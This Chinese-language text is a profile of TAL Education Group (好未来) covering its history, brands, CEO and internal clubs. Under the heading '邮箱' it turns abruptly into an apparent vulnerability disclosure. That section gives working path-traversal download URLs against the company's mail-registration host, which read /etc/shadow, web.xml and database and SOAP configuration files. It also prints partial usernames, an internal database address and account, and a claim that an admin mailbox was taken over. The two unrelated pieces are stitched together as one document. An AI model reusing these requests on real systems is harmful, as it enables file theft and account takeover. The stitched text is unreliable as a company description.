TAL Education Group 好未来 (NYSE:XRS)，英文缩写：TAL（Tomorrow Advancing Life），是一家中国领先的教育科技企业，以科技驱动、人才亲密、品质领先为发展的核心目标。自创立以来，一直致力于促进科技互联网与教育融合，为孩子创造更美好的学习体验。

一、简介

好未来的前身即学而思，2013年8月19日正式更名为好未来，好未来集团的新logo、新域名也一并发布，集团全新定位为“一家用科技与互联网来推动教育进步的公司”，实现线下教育与线上教育的融合，通过实施多品牌发展战略，不断创新和突破，为孩子们创设更美好的学习体验，并提出了“成为受尊敬的教育机构”的愿景。

10余年来，好未来专注在中小学及幼儿教育领域，旗下拥有五个主品牌：学而思培优、智康1对1、摩比思维馆、学而思网校和家长帮。其中，学而思培优作为K12高端培优教育平台，下设三个子品牌：学而思理科、乐加乐英语和东学堂语文。好未来在全国19个城市设有分校，每年有90余万学员走进好未来的课堂，另有47万学员通过网校获取优质的教育资源。另外，好未来旗下的家长帮是国内覆盖面广、可信度高的教育互联网信息平台，月度覆盖独立用户数峰值超过3000万。

二、更名

集团更名后，学而思培优事业部下面分管三个品牌: 学而思理科、乐加乐英语、东学堂语文。其他四个事业部保持不变。这样，集团旗下目前有七个子品牌：分别是：学而思理科、乐加乐英语、东学堂语文、智康1对1、学而思网校、摩比思维馆、E度教育网 。

2010年，学而思正式登陆美国纽交所挂牌交易，成为国内首家在美国上市的中小学教育培训机构

三、好未来CEO，张邦鑫

张邦鑫是80后创业者。2003年在北大读硕士研究生期间与同学合伙创办奥数网，两年后正式将机构取名为学而思，专门从事中小学课外辅导培训。2011年，张邦鑫荣获“中国教育年度风云人物”、“中国民办教育行业领导者”。

四、企业文化

ICS 智能教学系统 让课堂更有趣

好未来不断尝试将最先进的技术运用到兴趣教育的理念中。2010年11月，好未来把教研成果和IT成果结合，全面推出ICS智能教学系统。投入200多名系统研发和课件设计人员，历时三年，耗资4000万之巨。我们在2011年又推出了ICS2.0，把静态的PPT升级为动画课程。ICS可以实现视频、音频、Flash、动漫等多样化形式，让教学更为生动直观，提升孩子兴趣。

互联网改变教育

好未来是国内最早以互联网作为教育平台和传播渠道的企业之一，打造中小幼教育专业门户网站群——e度教育网。从2003年创办奥数网至今，e度教育网已拥有育儿网、幼教网、中考网、高考网、作文网、英语网、留学网等多个专业媒体，以及e度论坛、e度空间、雪地网等大型互动社区。

全新教育理念 素质与应试的平衡

2012年，好未来提出了全新教育理念：“激发兴趣、培养习惯、塑造品格”。 激发兴趣：兴趣是最好的老师，我们通过激发学生的学习兴趣，帮助学生树立信心，培养学生的成就感，让学生的学习充满动力； 培养习惯：通过培养学生好的学习习惯和生活习惯帮助学生取得全面的进步； 塑造品格：通过学生的思维模式的塑造，改变其行为习惯，进而全面作用于学生的学习动力、学习环境和学习能力，最终全面提升学生的综合素质。

差异化定位 ，不做第二个新东方

2003年的培训行业，很多都以新东方为标杆，要复制新东方的模式与机制。但好未来从建立的第一天就认为，中国不需要第二个新东方，所以确立了自己的差异化定位。大家做英语，学而思做理科；大家做大班，好未来做小班；大家做补差、好未来做培优，为学有余力的优秀学生提供进一步提高的辅导。 开放课堂与退费制度，只为成就客户

一直以来好未来都秉承一个理念，就是收了家长的钱就要带来效果，否则就是偷钱抢钱。为此，好未来开创性地把家长请进了教室，允许家长随堂听课，并且授课效果不满意可在2/3课程结束之前随时按比例退费。把选择权交给学生和家长，把退费的压力留给自己，逼自己狠抓教学质量。这慢慢发展成为好未来的核心价值观——成就客户。

创新基金

好未来集团为创新项目设立的一笔专项基金，并由创新管理委员会统一管理。主要定位是长期支持来自集团内部不同组织、不同领域的优质创新项目，使其在正规财务预算、专业团队等优质资源匹配下孵化并实现落地。

未来世界俱乐部

好未来集团下属的民间俱乐部组织，主要定位于支持鼓励好未来员工进行与工作、教学相关的创新。通过各个领域的线上线下活动，激发员工提出优秀的创新点子，孵化优异的创新项目，以此提升并优化员工的探索、发现及创新精神，培育集团的创新型土壤，营造创新的文化氛围。

学而思产品经理俱乐部

由集团高层及学而思产品经理通道牵头组织，旨在为集团培养优秀互联网产品经理人才的俱乐部在2012年6月成立了。在日后的工作中，分别通过学而思内部案例分享与外部经验学习，加强产品团队的理论知识与实践认知，从而提升团队的产品意识，提高产品的综合体验 。同时，通过梳理内部产品团队的工作内容，设定产品团队基于胜任力模型的职级体系和课程体系。最后通过培训体系的建立与实施，结合招聘与人才流动管理，逐步锻炼出一支业界一流的产品团队。 理想公设

在学而思，有这么一群创造者，他们用色彩、鼠标和代码，设计理想；用色彩、图片和动画传递信息，将课程和知识精彩呈现。 “理想公设”是一个培优全体技术伙伴的俱乐部，凝聚大家的智慧，提供交流技术的平台，共同学习，一起成长。 理想公设有不定期的内部交流，每一个成员都是主角，有不同的擅长，每个人都是分享者；理想公设还会带着大家外部交流，看看不同的作品和设计理念，及组织不定期的活动等。理想公设将会是一个开放的平台，为技术伙伴创造开放融合的工作氛围，共同体验创造的乐趣，快乐工作，快乐生活。

五、邮箱

简要描述：

任意文件下载漏洞，可获取网站源代码、数据库连接配置文件、系统配置文件、shadow等，进而获取某管理员邮箱。

详细说明：

#1、存在问题的页面

好未来企业邮箱注册系统

插件下载：http://youxiang.100tal.com/regmail/download.action?file=plugin/MacAddressViewer/MacAddressViewer.msi

file参数未过滤，导致任意文件下载。

#2、任意文件下载

仅以部分文件为例：

源代码：http://youxiang.100tal.com/regmail/download.action?file=index.jsp

shadow：http://youxiang.100tal.com/regmail/download.action?file=/plugin/../../../../../../etc/shadow

得到服务器的部分用户，密文就不贴上来了：l***e zh***an m***yuan l***a h***iao l***ei

web.xml：http://youxiang.100tal.com/regmail/download.action?file=/plugin/../WEB-INF/web.xml

#3、继续挖掘

读取web.xml，又进而得到以下文件：

http://youxiang.100tal.com/regmail/download.action?file=/plugin/../WEB-INF/classes/config/core/applicationContext.xml

http://youxiang.100tal.com/regmail/download.action?file=/plugin/../WEB-INF/classes/datasource.properties

http://youxiang.100tal.com/regmail/download.action?file=/plugin/..//WEB-INF/classes/prop.properties

其中，datasource.properties保存了数据库连接配置：

jdbc.url = jdbc:mysql://192.168.1.111:3409/regmail?zeroDateTimeBehavior=convertToNull&characterEncoding=UTF-8

jdbc.user = RegMail

jdbc.password = 略

prop.properties保存了部分系统配置，包括员工中心soap接口、管理员邮箱（发信邮箱？未验证）等：

#员工中心接口地址根路径

user.center.rootpath=http://oas.xueersi.org/

#员工中心soap接口fsite值

usercenter.soap.fsite=5

#员工中心soap接口uskey值

usercenter.soap.uskey=略

得到的邮箱和密码可登录：（未翻看邮件，仅截图组织通讯录证明危害）